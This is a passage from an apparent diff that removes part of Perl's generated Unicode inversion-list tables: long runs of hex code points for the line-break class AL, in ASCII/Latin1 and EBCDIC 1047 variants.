0x1091C, - 0x10920, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A40, - 0x10A48, - 0x10A58, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE5, - 0x10AEB, - 0x10AF0, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11003, - 0x11038, - 0x11049, - 0x1104E, - 0x11052, - 0x11066, - 0x11083, - 0x110B0, - 0x110BB, - 0x110BE, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11174, - 0x11175, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111C7, - 0x111C8, - 0x111C9, - 0x111CA, - 0x111CD, - 0x111CE, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x1123A, - 0x1123B, - 0x1123D, - 0x1123E, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x1144F, - 0x11450, - 0x1145D, - 0x1145E, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C8, - 0x11580, - 0x115AF, - 0x115C6, - 0x115C9, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11643, - 0x11645, - 0x11680, - 0x116AB, - 0x118A0, - 0x118E0, - 0x118EA, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A40, - 0x11A41, - 0x11A46, - 0x11A47, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C5A, - 0x11C6D, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x13258, - 0x1325E, - 0x13282, - 0x13283, - 0x13286, - 0x1328A, - 0x13379, - 0x1337C, - 0x1342F, - 0x14400, - 0x145CE, - 0x145D0, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B3A, - 0x16B44, - 0x16B45, - 0x16B46, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BC9D, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D1E9, - 0x1D200, - 0x1D242, - 0x1D245, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA87, - 0x1DA8B, - 0x1DA8C, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D0, - 0x1E900, - 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F12E, - 0x1F12F, - 0x1F16A, - 0x1F16C, - 0x1F39C, - 0x1F39E, - 0x1F3B5, - 0x1F3B7, - 0x1F3BC, - 0x1F3BD, - 0x1F4A0, - 0x1F4A1, - 0x1F4A2, - 0x1F4A3, - 0x1F4A4, - 0x1F4A5, - 0x1F4AF, - 0x1F4B0, - 0x1F4B1, - 0x1F4B3, - 0x1F500, - 0x1F507, - 0x1F517, - 0x1F525, - 0x1F532, - 0x1F54A, - 0x1F5D4, - 0x1F5DC, - 0x1F5F4, - 0x1F5FA, - 0x1F650, - 0x1F676, - 0x1F67C, - 0x1F680, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__AL_invlist[] = { /* for EBCDIC 1047 */ - 1471, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x4C, - 0x4D, - 0x50, - 0x5A, - 0x5C, - 0x5D, - 0x5F, - 0x60, - 0x62, - 0x6B, - 0x6D, - 0x6F, - 0x70, - 0x7A, - 0x7B, - 0x7D, - 0x7E, - 0x7F, - 0x80, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xB1, - 0xB4, - 0xB5, - 0xBA, - 0xBB, - 0xBC, - 0xBD, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x2C7, - 0x2CE, - 0x2D0, - 0x2D1, - 0x2D8, - 0x2DC, - 0x2DD, - 0x2DE, - 0x2DF, - 0x2E0, - 0x300, - 0x370, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x483, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x58D, - 0x58F, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5F3, - 0x5F5, - 0x600, - 0x609, - 0x60E, - 0x610, - 0x620, - 0x64B, - 0x66D, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6DD, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x6F0, - 0x6FA, - 0x70E, - 0x70F, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F8, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x830, - 0x83F, - 0x840, - 0x859, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8E2, - 0x8E3, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x970, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9F4, - 0x9F9, - 0x9FA, - 0x9FB, - 0x9FC, - 0x9FE, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF0, - 0xAF1, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB70, - 0xB78, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xBF0, - 0xBF9, - 0xBFA, - 0xBFB, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC78, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD50, - 0xD54, - 0xD57, - 0xD58, - 0xD62, - 0xD70, - 0xD79, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDF4, - 0xDF5, - 0xE4F, - 0xE50, - 0xF00, - 0xF01, - 0xF05, - 0xF06, - 0xF13, - 0xF14, - 0xF15, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF34, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0xFC0, - 0xFC6, - 0xFC7, - 0xFCD, - 0xFCE, - 0xFD0, - 0xFD4, - 0xFD9, - 0x104C, - 0x1050, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1100, - 0x1200, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1360, - 0x1361, - 0x1362, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x17D9, - 0x17DA, - 0x17F0, - 0x17FA, - 0x1800, - 0x1802, - 0x1807, - 0x1808, - 0x180A, - 0x180B, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1940, - 0x1941, - 0x19E0, - 0x1A17, - 0x1A1E, - 0x1A20, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B5C, - 0x1B5D, - 0x1B61, - 0x1B6B, - 0x1B74, - 0x1B7D, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1BFC, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1D00, - 0x1DC0, - 0x1E00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x1FFE, - 0x1FFF, - 0x2017, - 0x2018, - 0x2022, - 0x2024, - 0x2038, - 0x2039, - 0x203E, - 0x2044, - 0x204A, - 0x2056, - 0x2057, - 0x2058, - 0x205C, - 0x205D, - 0x2061, - 0x2065, - 0x2070, - 0x2072, - 0x2075, - 0x207D, - 0x2080, - 0x2081, - 0x2085, - 0x208D, - 0x2090, - 0x209D, - 0x2100, - 0x2103, - 0x2104, - 0x2105, - 0x2106, - 0x2109, - 0x210A, - 0x2113, - 0x2114, - 0x2116, - 0x2117, - 0x2121, - 0x2123, - 0x212B, - 0x212C, - 0x2154, - 0x2156, - 0x215B, - 0x215C, - 0x215E, - 0x215F, - 0x2160, - 0x216C, - 0x2170, - 0x217A, - 0x2189, - 0x218A, - 0x218C, - 0x219A, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x2200, - 0x2201, - 0x2202, - 0x2204, - 0x2207, - 0x2209, - 0x220B, - 0x220C, - 0x220F, - 0x2210, - 0x2211, - 0x2214, - 0x2215, - 0x2216, - 0x221A, - 0x221B, - 0x221D, - 0x2221, - 0x2223, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222D, - 0x222E, - 0x222F, - 0x2234, - 0x2238, - 0x223C, - 0x223E, - 0x2248, - 0x2249, - 0x224C, - 0x224D, - 0x2252, - 0x2253, - 0x2260, - 0x2262, - 0x2264, - 0x2268, - 0x226A, - 0x226C, - 0x226E, - 0x2270, - 0x2282, - 0x2284, - 0x2286, - 0x2288, - 0x2295, - 0x2296, - 0x2299, - 0x229A, - 0x22A5, - 0x22A6, - 0x22BF, - 0x22C0, - 0x22EF, - 0x22F0, - 0x2308, - 0x230C, - 0x2312, - 0x2313, - 0x231A, - 0x231C, - 0x2329, - 0x232B, - 0x23F0, - 0x23F4, - 0x2427, - 0x2440, - 0x244B, - 0x24FF, - 0x2500, - 0x254C, - 0x2550, - 0x2575, - 0x2580, - 0x2590, - 0x2592, - 0x2596, - 0x25A0, - 0x25A2, - 0x25A3, - 0x25AA, - 0x25B2, - 0x25B4, - 0x25B6, - 0x25B8, - 0x25BC, - 0x25BE, - 0x25C0, - 0x25C2, - 0x25C6, - 0x25C9, - 0x25CB, - 0x25CC, - 0x25CE, - 0x25D2, - 0x25E2, - 0x25E6, - 0x25EF, - 0x25F0, - 0x2600, - 0x2604, - 0x2605, - 0x2607, - 0x2609, - 0x260A, - 0x260E, - 0x2610, - 0x2614, - 0x2619, - 0x261A, - 0x2620, - 0x2639, - 0x263C, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2660, - 0x2662, - 0x2663, - 0x2666, - 0x2667, - 0x266B, - 0x266C, - 0x266E, - 0x266F, - 0x2670, - 0x267F, - 0x2680, - 0x269E, - 0x26A0, - 0x26BD, - 0x26CE, - 0x26CF, - 0x26E2, - 0x26E3, - 0x26E4, - 0x26E8, - 0x2705, - 0x2708, - 0x270E, - 0x2757, - 0x2758, - 0x275B, - 0x2761, - 0x2762, - 0x2765, - 0x2768, - 0x2794, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2B55, - 0x2B5A, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CEF, - 0x2CF2, - 0x2CF4, - 0x2CFD, - 0x2CFE, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2E16, - 0x2E17, - 0x2E1A, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2F, - 0x2E30, - 0x2E32, - 0x2E33, - 0x2E35, - 0x2E3A, - 0x2E3F, - 0x2E40, - 0x4DC0, - 0x4E00, - 0xA4D0, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA640, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA6F3, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA82C, - 0xA830, - 0xA838, - 0xA839, - 0xA83A, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA95F, - 0xA960, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xA9C7, - 0xA9CA, - 0xA9CE, - 0xA9CF, - 0xA9D0, - 0xA9DE, - 0xA9E0, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA5C, - 0xAA5D, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF5, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABE3, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB29, - 0xFB2A, - 0xFB50, - 0xFBC2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFDFD, - 0xFDFE, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFFE8, - 0xFFEF, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FD, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E1, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x103D1, - 0x103D6, - 0x10400, - 0x1049E, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10858, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x10920, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A40, - 0x10A48, - 0x10A58, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE5, - 0x10AEB, - 0x10AF0, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11003, - 0x11038, - 0x11049, - 0x1104E, - 0x11052, - 0x11066, - 0x11083, - 0x110B0, - 0x110BB, - 0x110BE, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11174, - 0x11175, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111C7, - 0x111C8, - 0x111C9, - 0x111CA, - 0x111CD, - 0x111CE, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x1123A, - 0x1123B, - 0x1123D, - 0x1123E, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x1144F, - 0x11450, - 0x1145D, - 0x1145E, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C8, - 0x11580, - 0x115AF, - 0x115C6, - 0x115C9, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11643, - 0x11645, - 0x11680, - 0x116AB, - 0x118A0, - 0x118E0, - 0x118EA, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A40, - 0x11A41, - 0x11A46, - 0x11A47, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C5A, - 0x11C6D, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x13258, - 0x1325E, - 0x13282, - 0x13283, - 0x13286, - 0x1328A, - 0x13379, - 0x1337C, - 0x1342F, - 0x14400, - 0x145CE, - 0x145D0, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B3A, - 0x16B44, - 0x16B45, - 0x16B46, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x16F93, - 0x16FA0, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BC9D, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D1E9, - 0x1D200, - 0x1D242, - 0x1D245, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA87, - 0x1DA8B, - 0x1DA8C, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D0, - 0x1E900, - 0x1E944, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 